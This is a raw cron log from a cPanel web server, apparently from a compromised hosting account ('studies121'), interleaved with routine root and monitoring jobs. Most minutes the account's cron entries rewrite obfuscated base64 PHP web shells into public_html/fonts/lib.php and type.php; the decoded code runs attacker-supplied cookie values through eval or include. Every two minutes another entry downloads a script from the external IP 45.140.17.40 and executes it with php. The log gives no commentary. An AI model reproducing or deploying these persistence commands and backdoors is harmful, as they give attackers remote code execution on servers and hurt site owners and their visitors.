Sep  4 15:13:01 ip-184-168-122-23 CROND[12485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:13:01 ip-184-168-122-23 CROND[12483]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:13:01 ip-184-168-122-23 CROND[12484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:13:01 ip-184-168-122-23 CROND[12486]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:14:01 ip-184-168-122-23 CROND[12647]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:14:01 ip-184-168-122-23 CROND[12648]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 15:14:01 ip-184-168-122-23 CROND[12650]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:14:01 ip-184-168-122-23 CROND[12651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:14:01 ip-184-168-122-23 CROND[12652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:15:01 ip-184-168-122-23 CROND[12786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:15:01 ip-184-168-122-23 CROND[12784]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:15:01 ip-184-168-122-23 CROND[12788]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 15:15:01 ip-184-168-122-23 CROND[12785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:15:01 ip-184-168-122-23 CROND[12789]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 15:15:01 ip-184-168-122-23 CROND[12787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:16:01 ip-184-168-122-23 CROND[12874]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 15:16:01 ip-184-168-122-23 CROND[12876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:16:01 ip-184-168-122-23 CROND[12877]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:16:01 ip-184-168-122-23 CROND[12878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:16:01 ip-184-168-122-23 CROND[12879]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 15:16:01 ip-184-168-122-23 CROND[12880]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:17:01 ip-184-168-122-23 CROND[12977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:17:01 ip-184-168-122-23 CROND[12978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:17:01 ip-184-168-122-23 CROND[12980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:17:01 ip-184-168-122-23 CROND[12979]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:18:01 ip-184-168-122-23 CROND[13066]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:18:01 ip-184-168-122-23 CROND[13067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:18:01 ip-184-168-122-23 CROND[13068]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:18:01 ip-184-168-122-23 CROND[13070]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 15:18:01 ip-184-168-122-23 CROND[13071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:19:01 ip-184-168-122-23 CROND[13148]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:19:01 ip-184-168-122-23 CROND[13149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:19:01 ip-184-168-122-23 CROND[13150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:19:01 ip-184-168-122-23 CROND[13151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:20:01 ip-184-168-122-23 CROND[13248]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 15:20:01 ip-184-168-122-23 CROND[13251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:20:01 ip-184-168-122-23 CROND[13253]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 15:20:01 ip-184-168-122-23 CROND[13257]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 15:20:01 ip-184-168-122-23 CROND[13256]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 15:20:01 ip-184-168-122-23 CROND[13259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:20:01 ip-184-168-122-23 CROND[13260]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:20:01 ip-184-168-122-23 CROND[13261]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:20:01 ip-184-168-122-23 CROND[13258]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 15:21:01 ip-184-168-122-23 CROND[13381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:21:01 ip-184-168-122-23 CROND[13380]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:21:01 ip-184-168-122-23 CROND[13382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:21:01 ip-184-168-122-23 CROND[13383]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:22:02 ip-184-168-122-23 CROND[13463]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:22:02 ip-184-168-122-23 CROND[13468]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:22:02 ip-184-168-122-23 CROND[13466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:22:02 ip-184-168-122-23 CROND[13465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:22:02 ip-184-168-122-23 CROND[13467]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 15:23:01 ip-184-168-122-23 CROND[13626]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:23:01 ip-184-168-122-23 CROND[13629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:23:01 ip-184-168-122-23 CROND[13627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:23:01 ip-184-168-122-23 CROND[13628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:24:01 ip-184-168-122-23 CROND[13715]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 15:24:01 ip-184-168-122-23 CROND[13712]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:24:01 ip-184-168-122-23 CROND[13711]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:24:01 ip-184-168-122-23 CROND[13714]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:24:01 ip-184-168-122-23 CROND[13713]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:25:01 ip-184-168-122-23 CROND[13843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:25:01 ip-184-168-122-23 CROND[13844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
